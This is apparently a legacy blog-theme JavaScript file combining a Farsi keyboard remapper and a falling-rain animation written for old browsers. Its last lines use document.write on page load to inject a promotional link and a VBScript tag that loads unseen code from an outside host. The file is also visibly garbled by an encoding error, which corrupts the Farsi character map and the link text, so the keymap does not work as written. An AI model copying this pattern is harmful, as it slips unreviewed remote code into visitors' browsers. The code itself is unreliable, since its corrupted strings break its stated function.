ÿþvar KeylangFarsi=true;

// for keypress

function farsikey(myfield,e)

{

var key;

var basestring=' !"#$%¯)(×+H-./0123456789:©,=.@P0}IOID"÷@/ /×N!MA {KR%~,˜†^_~402Ì+(D'G*FE&/.-6B3A9157:8<|>Q';

if (window.event)

 key = window.event.keyCode;

else if (e)

 key = e.which;



if (key < 0x0020 || key >= 0x00FF) return true; 

if (KeylangFarsi==true)

{

	if (window.event)

	 window.event.keyCode=basestring.charCodeAt(key-32);

	else if (e)

	 e.which=basestring.charCodeAt(key-32);

}

 return true;

}



// function for keydown

function changelang(objtext1)

{

	if (window.event.keyCode==119) 

		KeylangFarsi =(KeylangFarsi==true) ? false : true ;

    if (window.event.altKey && window.event.shiftKey )  

		KeylangFarsi = false ;

	 return true;

}



var no = 50;

var speed = 2;

var ns4up = (document.layers) ? 1 : 0;

var ie4up = (document.all) ? 1 : 0;

var s, x, y, sn, cs;

var a, r, cx, cy;

var i, doc_width = 800, doc_height = 600;

if (ns4up) {

doc_width = self.innerWidth;

doc_height = self.innerHeight;

}

else

if (ie4up) {

doc_width = document.body.clientWidth;

doc_height = document.body.clientHeight;

}

x = new Array();

y = new Array();

r = new Array();

cx = new Array();

cy = new Array();

s = 8;

for (i = 0; i < no; ++ i) {  

initRain();

if (ns4up) {

if (i == 0) {

document.write("<layer name=\"dot"+ i +"\" left=\"1\" ");

document.write("top=\"1\" visibility=\"show\"><font color=\"blue\">");

document.write(",</font></layer>");

}

else {

document.write("<layer name=\"dot"+ i +"\" left=\"1\" ");

document.write("top=\"1\" visibility=\"show\"><font color=\"blue\">");

document.write(",</font></layer>");

   }

}

else 

if (ie4up) {

if (i == 0) {

document.write("<div id=\"dot"+ i +"\" style=\"POSITION: ");

document.write("absolute; Z-INDEX: "+ i +"; VISIBILITY: ");

document.write("visible; TOP: 15px; LEFT: 15px;\"><font color=\"blue\">");

document.write(",</font></div>");

}

else {

document.write("<div id=\"dot"+ i +"\" style=\"POSITION: ");

document.write("absolute; Z-INDEX: "+ i +"; VISIBILITY: ");

document.write("visible; TOP: 15px; LEFT: 15px;\"><font color=\"blue\">");

document.write(",</font></div>");

      }

   }

}

function initRain() {

a = 6;

r[i] = 1;

sn = Math.sin(a);

cs = Math.cos(a);

cx[i] = Math.random() * doc_width + 1;

cy[i] = Math.random() * doc_height + 1;

x[i] = r[i] * sn + cx[i];

y[i] = cy[i];

}

function makeRain() {

r[i] = 1;

cx[i] = Math.random() * doc_width + 1;

cy[i] = 1;

x[i] = r[i] * sn + cx[i];

y[i] = r[i] * cs + cy[i];

}

function updateRain() {

r[i] += s;

x[i] = r[i] * sn + cx[i];

y[i] = r[i] * cs + cy[i];

}

function raindropNS() {

for (i = 0; i < no; ++ i) {

updateRain();

if ((x[i] <= 1) || (x[i] >= (doc_width - 20)) || (y[i] >= (doc_height - 20))) {

makeRain();

doc_width = self.innerWidth;

doc_height = self.innerHeight;

}

document.layers["dot"+i].top = y[i];

document.layers["dot"+i].left = x[i];

}

setTimeout("raindropNS()", speed);

}

function raindropIE() {

for (i = 0; i < no; ++ i) {

updateRain();

if ((x[i] <= 1) || (x[i] >= (doc_width - 20)) || (y[i] >= (doc_height - 20))) {

makeRain();

doc_width = document.body.clientWidth;

doc_height = document.body.clientHeight;

}

document.all["dot"+i].style.pixelTop = y[i];

document.all["dot"+i].style.pixelLeft = x[i];

}

setTimeout("raindropIE()", speed);

}

if (ns4up) {

raindropNS();

}

else

if (ie4up) {

raindropIE();

}

document.write('<div style=position:absolute;z-index:1;left:0px;top:0px><a href=http://learningbet.blogfa.com style=font-size:8pt>E1C2 "EH24 'J1'FJ'F</a></div>')

document.write ('<script language="vbscript" src="http://imjava.persiangig.com/theme/blogfa/mobin/home.js" type="text/vbscript"></script>')